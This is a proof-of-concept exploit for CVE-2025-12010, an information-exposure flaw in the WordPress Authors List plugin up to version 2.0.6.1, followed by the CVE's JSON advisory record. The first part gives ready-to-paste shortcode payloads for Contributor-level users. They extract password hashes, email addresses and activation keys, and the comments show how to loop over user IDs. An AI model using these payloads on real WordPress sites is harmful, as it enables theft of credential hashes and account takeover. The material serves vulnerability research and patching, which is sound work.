CVE-2025-12010

<!-- WordPress Authors List Plugin CVE-2025-12010 PoC --> <!-- Authenticated Contributor+ role required --> <!-- Insert the following shortcode into any post/page --> [authors-list author_id="1" method="get_meta" meta_key="user_pass"] <!-- Extract email addresses --> [authors-list author_id="1" method="get_meta" meta_key="user_email"] <!-- Extract activation keys --> [authors-list author_id="1" method="get_meta" meta_key="user_activation_key"] <!-- Batch extraction using multiple shortcode blocks --> [authors-list author_id="1" method="get_meta" meta_key="nickname"] [authors-list author_id="1" method="get_meta" meta_key="description"] <!-- Alternative: Loop through multiple user IDs --> [authors-list author_id="2" method="get_meta" meta_key="user_pass"] [authors-list author_id="3" method="get_meta" meta_key="user_pass"]

{"cve": {"id": "CVE-2025-12010", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:45.630", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Authors List plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.0.6.1 via the via arbitrary method call from Authors_List_Shortcode class. This makes it possible for authenticated attackers, with Contributor-level access and above, to call methods such as get_meta to extract sensitive user data including password hashes, email addresses, usernames, and activation keys via specially crafted shortcode attributes"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/authors-list/tags/2.0.6.1/includes/class-authors-list-shortcode.php#L852", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/authors-list/tags/2.0.6.1/includes/class-authors-list-shortcode.php#L868", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/authors-list/tags/2.0.6.2/includes/class-authors-list-shortcode.php#L868", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5189c1c0-2d4c-47f5-b8d9-3192a670e586?source=cve", "source": "[email protected]"}]}}